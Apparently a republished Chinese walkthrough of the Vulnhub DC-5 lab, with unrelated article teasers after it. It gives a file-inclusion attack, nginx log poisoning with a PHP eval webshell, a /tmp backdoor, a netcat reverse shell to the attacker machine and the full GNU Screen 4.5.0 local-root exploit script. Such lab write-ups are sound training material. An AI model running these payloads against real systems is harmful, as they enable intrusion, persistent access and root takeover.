Vulnhub靶场 | DC系列 - DC5

news2024/9/21 2:33:26

文章目录

  • DC-5
  • 信息收集
    • 扫描靶机的IP地址
    • 扫描开放的端口
    • 访问80端口
  • 文件包含漏洞
    • 渗透过程
    • 向日志中写入一句话木马
    • 使用蚁剑连接webshell
    • 在 /tmp下新建文件 一句话木马(留个后门)
    • 使用蚁剑虚拟终端反弹shell到kali
      • 在kali开启监听
      • 使用蚁剑虚拟终端反弹shell到kali
  • 提权
    • 切换到交互式状态
    • 查找设置了SUID的文件
    • 查看screen-4.5.0存在的漏洞

DC-5

环境准备
靶机下载地址:https://www.vulnhub.com/entry/dc-5,314/
攻击机:kali(192.168.58.130)
靶机:DC-5(192.168.58.148)
下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式

信息收集

扫描靶机的IP地址

查看本机地址确定靶机网段

┌──(root💀kali)-[~]
└─# ifconfig eth0 

扫描该网段存活的主机

┌──(root💀kali)-[~]
└─# nmap -sP 192.168.67.0/24

扫描开放的端口

┌──(root💀kali)-[~]
└─# nmap -sV 192.168.67.31

开放端口:80、111

web容器:nginx 1.6.2

浏览器访问目标靶机80端口

访问80端口

就只是一些文字,没有啥可利用的位置,只用contact页面能填写东西,随便写点啥提交上去看看

发现也没啥可利用的,但是发现有一个细节,这个页面只要刷新下面的年份也会跟着变

http://192.168.67.31/thankyou.php?firstname=&lastname=&country=australia&subject=

猜测这里可能含有一个文件包含漏洞,使用御剑扫描查看网站结构目录

发现有一个url为http://192.168.67.31/footer.php,查看发现就是这个页面控制着年份改变

所以肯定是包含了这个页面,输入urlhttp://192.168.67.31/thankyou.php?file=

发现底部缺少了年份

验证了我们的猜想,但是这里不确定是否过滤了其他文件

文件包含漏洞

渗透过程

前面通过信息收集怀疑存在包含漏洞,使用burpsuite抓包

将footer.php改为密码文件/etc/passwd试试

成功执行,说明确实存在文件包含漏洞,所以现在需要想办法将一句话木马写进去

向日志中写入一句话木马

前面信息收集发现网站web容器为nginx,nginx的错误日志文件路径一般为/var/log/nginx/error.log

写入一句话GET /thankyou.php?file=<?php eval($_REQUEST["tedu"]);?>

利用文件包含漏洞查看是否写入成功

http://192.168.67.31/thankyou.php?file=/var/log/nginx/error.log

发现一句话木马已写入错误日志中

使用蚁剑连接webshell

成功连上靶机系统

打开虚拟终端,发现权限较低,开始提权

在 /tmp下新建文件 一句话木马(留个后门)

在服务器/tmp目录下新建一个shell.php文件,写入一句话木马

<?php 
@eval($_REQUEST[666]);
?>

使用蚁剑虚拟终端反弹shell到kali

在kali开启监听

┌──(root💀kali)-[~]
└─# nc -lvvp 1234         
listening on [any] 1234 ...

使用蚁剑虚拟终端反弹shell到kali

(www-data:/var/www/html) $ nc -e /bin/bash 192.168.67.5 1234
{"code":"ECONNABORTED","timeout":5000}

kali处显示有连接过来

提权

切换到交互式状态

python -c 'import pty;pty.spawn("/bin/bash")'

┌──(root💀kali)-[~]
└─# nc -lvvp 1234         
listening on [any] 1234 ...
192.168.67.31: inverse host lookup failed: Unknown host
connect to [192.168.67.5] from (UNKNOWN) [192.168.67.31] 48287

python -c 'import pty;pty.spawn("/bin/bash")'
www-data@dc-5:~/html$ 

查找设置了SUID的文件

www-data@dc-5:~/html$ find / -perm -u=s -type f 2>/dev/null

查看screen-4.5.0存在的漏洞

┌──(root💀kali)-[~]
└─# searchsploit screen 4.5.0                                           
------------------------------------------- ---------------------------------
 Exploit Title                             |  Path
------------------------------------------- ---------------------------------
GNU Screen 4.5.0 - Local Privilege Escalat | linux/local/41152.txt
GNU Screen 4.5.0 - Local Privilege Escalat | linux/local/41154.sh
------------------------------------------- ---------------------------------
Shellcodes: No Results

查看screen-4.5.0存在的漏洞

/usr/share/exploitdb/exploits/linux/local/41152.txt

/usr/share/exploitdb/exploits/linux/local/41154.sh

将攻击脚本文件复制到当前目录

查看文件内容

┌──(root💀kali)-[~]
└─# cat /root/41154.sh                                     
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell  

将41154.sh中上面一部分c语言代码另存为libhax.c,如图-50所示,并编译,编译命令gcc -fPIC -shared -ldl -o libhax.so libhax.c

┌──(root💀kali)-[~]
└─# gcc -fPIC -shared -ldl -o libhax.so libhax.c

将41154.sh中下面一部分c语言代码另存为rootshell.c,如图-51所示,并编译,编译命令gcc -o rootshell rootshell.c

┌──(root💀kali)-[~]
└─# gcc -o rootshell rootshell.c

将41154.sh中剩下部分代码另存为dc5.sh脚本文件,如图-52所示,并在保存dc5.sh文件之前输入 :set ff=unix

将编译过后生成的libhax.so、rootshell和 dc5.sh三个文件复制到DC-5靶机的/tmp目录下,在kali交互模式下进入/tmp,为dc5.sh添加执行权限并运行dc5.sh,发现提权成功,如图-53所示。

获取到flag

进入到/root目录,查看文件thisisthefalg.txt

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2091467.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

OpenCV库的一些实用代码示例

OpenCV&#xff08;Open Source Computer Vision Library&#xff09;是一个开源的计算机视觉和机器学习软件库&#xff0c;它提供了大量的图像和视频分析功能。除了你提到的灰度转换、图像反转、高斯滤波和图像保存等基本操作外&#xff0c;OpenCV还包含许多其他功能&#xff…

linux Vim的安装和基本使用

Vim 什么是 Vim Vim是一个高度可定制的文本编辑器&#xff0c;源自Unix系统的vi编辑器。它被广泛用于类Unix系统中&#xff0c;包括Linux、Mac OS和Windows平台。Vim特别受到程序员的青睐&#xff0c;因为它提供了丰富的编程功能&#xff0c;如代码补全、编译及错误跳转等。这…

Apache Struts2开发模式漏洞解析与修复

1.引言 在现代Web应用开发中&#xff0c;Apache Struts2是一个广泛使用的MVC框架。然而&#xff0c;当一些开发方便的功能错用在生产环境时&#xff0c;会导致严重的安全隐患。本文将详细解析Struts2开发模式&#xff08;devMode&#xff09;带来的安全风险及其修复方法。 2.…

vim常用快捷键问答

vim的光标位置操作快捷键有哪些&#xff1f;怎样记忆它们&#xff1f; 在 Vim 中&#xff0c;光标位置的操作快捷键非常重要&#xff0c;可以帮助你更高效地编辑文本。下面是一些常用的光标位置操作快捷键&#xff1a; 基本移动 h&#xff1a;光标左移一个字符j&#xff1a;光…

【吊打面试官系列-Redis面试题】Redis 是单进程单线程的?

大家好&#xff0c;我是锋哥。今天分享关于 【Redis 是单进程单线程的&#xff1f;】面试题&#xff0c;希望对大家有帮助&#xff1b; Redis 是单进程单线程的&#xff1f; Redis 是单进程单线程的&#xff0c;redis 利用队列技术将并发访问变为串行访问&#xff0c;消除了传统…

Linux-vim

文章目录 vi和vimvim的基本概念vim的基本操作vim正常模式命令集插入模式从插入模式切换为命令模式移动光标删除文字复制替换撤销上一次操作更改跳至指定的行 vim末行模式命令集列出行号跳到文件中的某一行查找字符保存文件推出vim vi和vim vi/vim的区别简单点来说&#xff0c;…

【初学人工智能原理】【14】机器学习:最后一节课也是第一节课(完结)

前言 本文教程均来自b站【小白也能听懂的人工智能原理】&#xff0c;感兴趣的可自行到b站观看。 代码及工具箱 本专栏的代码和工具函数已经上传到GitHub&#xff1a;1571859588/xiaobai_AI: 零基础入门人工智能 (github.com)&#xff0c;可以找到对应课程的代码 正文 随着…

制作 Docker 镜像

目录 1 docker镜像介绍 1.1 docker的镜像结构 1.2 镜像运行的基本原理 1.3 镜像获得方式 2 构建 docker 镜像 Dockerfile 2.1 Dockerfile 基础参数介绍 2.2 实现参数功能示例 2.2.1 FROM LABEL COPY 2.2.2 ADD 2.2.3 ENV 和 CMD与ENTRYPOINT 2.2.3.1 CMD的替代性 2.2.3.2 EN…

使用3D数字人做视频

用3D数字人做视频 漂亮精致 3D数字人定制4 动作流畅、音乐上的表现 thatgirl 支持私人定制模型 你愿意捐献所有的财产吗 想搭建这样的数字人的请和我们联系 使用3D数字人做视频https://www.jinshuangshi.com/forum.php?modviewthread&tid248 (出处: 金双石科技)

利用session.upload_progress执行文件包含

1.session.upload_progress的作用&#xff1a; session.upload_progress最初是PHP为上传进度条设计的一个功能&#xff0c;在上传文件较大的情况下&#xff0c;PHP将进行流式上传&#xff0c;并将进度信息放在Session中&#xff08;包含用户可控的值&#xff09;&#xff0c;即…

Ethercat设备数据 转IEC61850项目案例

目录 1 案例说明 1 2 VFBOX网关工作原理 1 3 准备工作 2 5 设置网关采集ETHERCAT数据 5 6 用IEC61850协议转发数据 7 7 网关使用多个逻辑设备和逻辑节点的方法 9 8 安装NPCAP 10 9 案例总结 11 1 案例说明 设置网关采集EtherCAT设备数据把采集的数据转成IEC61850协议转发给其…

08:Logic软件原理图添加元件

1.导入外部库文件 2.添加元件

Veeam Data Platform 12.2 发布下载,新增功能概览

Veeam Data Platform 12.2 发布下载&#xff0c;新增功能概览 面向混合云和多云的 云端、虚拟和物理环境 备份和恢复 监控和分析 恢复编排 请访问原文链接&#xff1a;https://sysin.org/blog/veeam-data-platform/&#xff0c;查看最新版。原创作品&#xff0c;转载请保留出…

飞致云开源社区月度动态报告(2024年8月)

自2023年6月起&#xff0c;中国领先的开源软件公司FIT2CLOUD飞致云以月度为单位发布《飞致云开源社区月度动态报告》&#xff0c;旨在向广大社区用户同步飞致云旗下系列开源软件的发展情况&#xff0c;以及当月主要的产品新版本发布、社区运营成果等相关信息。 飞致云开源大屏…

计算机组成原理:实验三数据通路组成实验

一、实验目的 1.将双端口通用寄存器堆和双端口存储器模块联机&#xff1b; 2.进一步熟悉计算机的数据通路&#xff1b; 3.掌握数字逻辑电路中故障的一般规律&#xff0c;以及排除故障的一般原则和方法&#xff1b; 4.锻炼分析问题与解决问题的能力&#xff0c;在出现故障的…

Windows 10远程桌面连接设置

0 Preface/Foreword 0.1 Remote desktop &#xff08;远程桌面&#xff09; Remote Desktop lets you connect to or control this PC from a remote device by using a Remote Desktop client (available for Windows, Android, iOS and macOS). Youll be able to work fro…

15年让爱轮回

15年前&#xff0c;运巧的命运齿轮因一位记者的稿件悄然转动&#xff0c;运巧这个名字&#xff0c;真的是命运的巧合&#xff0c;把她和邦尔骨科连接在了一起&#xff0c;她的人生轨迹因一家医院的善举发生了改变。那时的她&#xff0c;面临生活的重重困境&#xff0c;求学之路…

通义 AI 再次颠覆创作体验:一句话即可生成PPT

&#x1f195;通义 AI 再次颠覆创作体验&#xff1a;一句话即可生成PPT &#x1f389; 最近&#xff0c;科技圈再度被通义 AI 的最新功能刷屏&#xff01;8月30日&#xff0c;通义网页版正式上线了让无数办公族翘首以盼的“PPT 创作”功能。这一革新功能不仅为内容创作者带来了…

制作人偶动画Character Animator

每个人都可以通过表演开始制作动画。无需具备专业的操控知识。 入门模式提供示例人偶&#xff0c;可帮助您快速创建动画。选择人偶或导入人偶&#xff0c;然后添加或录制语音。 每个示例人偶都有一个完备的“控件”面板&#xff0c;其中包含多种姿势和情绪。 您可以通过选择“自…

【TDesign】如何修改CSS变量

Tdesign的组件想通过style定义样式没效果, 可以通过组件api文档修改, 组件提供了下列 CSS 变量&#xff0c;可用于自定义样式。 比如Cell, https://tdesign.tencent.com/miniprogram/components/cell?tabapi 提供了&#xff1a; –td-cell-left-icon-color 图标颜色 –td-cell…